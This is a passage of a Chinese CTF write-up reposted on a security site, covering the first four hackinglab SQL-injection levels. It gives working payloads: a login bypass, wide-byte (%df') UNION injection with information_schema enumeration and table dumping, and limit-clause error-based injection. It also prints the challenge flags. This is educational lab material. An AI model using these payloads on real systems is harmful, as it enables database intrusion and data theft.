欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

hackinglab注入关writeup

来源:本站整理 作者:佚名 时间:2016-07-19 TAG: 我要投稿

 一看到登陆页面就尝试使用万能密码进行登陆。这种SQL注入目前确实是最简单的注入了。payload如下:

url:http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php
payload:username=admin' or 1=1 #&password=123456&vcode=4NHM 

Flag:iamflagsafsfskdf11223

第二关 熟悉注入环境

这个也是一个比较简单的SQL注入,就不作过多的说明和分析了。

payload为:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 or 1=1 #

Flag:HKGGflagdfs56757fsdv

第三关

小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!

通关地址

在进行注入测试的时候,尝试了各种方法发现程序都没有出现问题。

后来根据下方评论中给出的提示以及响应头中返回的 charset=gb2312 ,猜测可能是一个宽字节注入。关于宽字节注入,在sql注入必备知识中进行了简要的说明。要测试是否是宽字节注入使用 %df' 即可。

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%df' 

当使用上面的url之后,页面报错为:

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php on line 45

那就说明存在宽字节注入。接下来也是常规的步骤了。

得到字段长度

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' order by num %23 

得到字段长度为3。

得到显示位

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,3 %23 

得到显示位是2,3

得到数据库信息

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 

得到在当前数据库中仅仅存在一个表, sae_user_sqli4

得到字段信息

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23 

得到在sae_user_sqli4表中有 id,title_1,content_1 3个字段。

脱裤

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select count(*) from sae_user_sqli4) %23 

得到记录的长度为4

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23 

就可以的得到Flag了。Flag:flag is here!

第四关 limit注入

小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?

通关地址

题目已经提示了是一个limit注入。根据题目中给出的2个参数start和num我们猜测后台的SQL语句的写法是:

select content from table limit start,num 

但是在进行实际的测试的时候,发现只有 start 参数有作用, num 参数并没有作用。那么猜测可能是后台的PHP在取数据的时候仅仅是选取了一条数据。同时如果 num 的值不符合要求,如为0,abc等等,那么网页就会显示第一条数据。关于limit注入的文章,可以参考 这篇 。

根据上面的这篇文章的提示,在遇到limit的注入的时候,可以使用如下的语句进行报错注入。

select field from user where id=XXX order by id limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,SQL注入代码)),1);

知道了limit的注入样例代码之后,我们就可以如法炮制了。接下来又是常规的SQL注入步骤了。

[1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载